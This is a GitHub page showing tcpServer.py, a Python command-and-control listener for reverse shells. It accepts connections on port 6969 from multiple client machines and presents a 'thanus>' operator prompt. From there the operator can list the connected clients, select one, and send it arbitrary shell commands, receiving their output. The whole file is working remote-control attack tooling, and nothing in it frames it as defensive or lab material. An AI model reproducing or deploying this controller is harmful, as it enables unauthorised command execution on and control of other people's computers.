-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathtcpServer.py
157 lines (114 loc) · 3.09 KB
/
tcpServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import socket
import sys
import threading
import time
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_conns = []
all_adds = []
def create_socket():
try:
global host
global port
global s
host = ""
port = 6969
s = socket.socket()
except socket.error as msg:
print("Connection Error: \n" + str(msg) + "\n Exiting....")
def bind_socket():
try:
global host
global port
global s
print("Binding socket, Port Number:- " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Binding Error: \n" + str(msg) + "\n Retrying....")
bind_socket()
def accept_conns():
for c in all_conns:
c.close()
del all_conns[:]
del all_adds[:]
while True:
try:
conn, address = s.accept()
s.setblocking(1)
all_conns.append(conn)
all_adds.append(address)
print("Connection established with IP :- " + address[0])
except:
print("Error \n Unable accept the connection")
def start_shell():
# In ur face marvel fanboys/girls X)
while True:
cmd = input('thanus> ')
if cmd == "list":
list_conns()
elif "select" in cmd:
conn = get_conns(cmd)
if conn is not None:
send_cmds(conn)
else:
print("Illegal Command")
def list_conns():
result = ""
for i, conn in enumerate(all_conns):
try:
conn.send(str.encode(" "))
conn.recv(201480)
except:
del all_conns[i]
del all_adds[i]
continue
result = str(i) + " " + \
str(all_adds[i][0]) + " " + str(all_adds[i][1]) + " \n"
print("#-------- All Clients --------#" + "\n" + result)
def get_conns(cmd):
try:
target = int(cmd.replace("select ", ""))
conn = all_conns[target]
print("You are now connected to : " + str(all_adds[target][0]))
print(str(all_adds[target][0]) + "> ", end="")
return conn
except:
print("Invalid Selection")
def send_cmds(conn):
while True:
try:
cmd = input()
if cmd == "quit":
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_res = str(conn.recv((1024)), "utf-8")
print(client_res, end="")
except:
print("Error sending Command")
break
def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True
t.start()
def work():
while True:
x = queue.get()
if x == 1:
create_socket()
bind_socket()
accept_conns()
if x == 2:
start_shell()
queue.task_done()
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join()
if __name__ == "__main__":
create_workers()
create_jobs()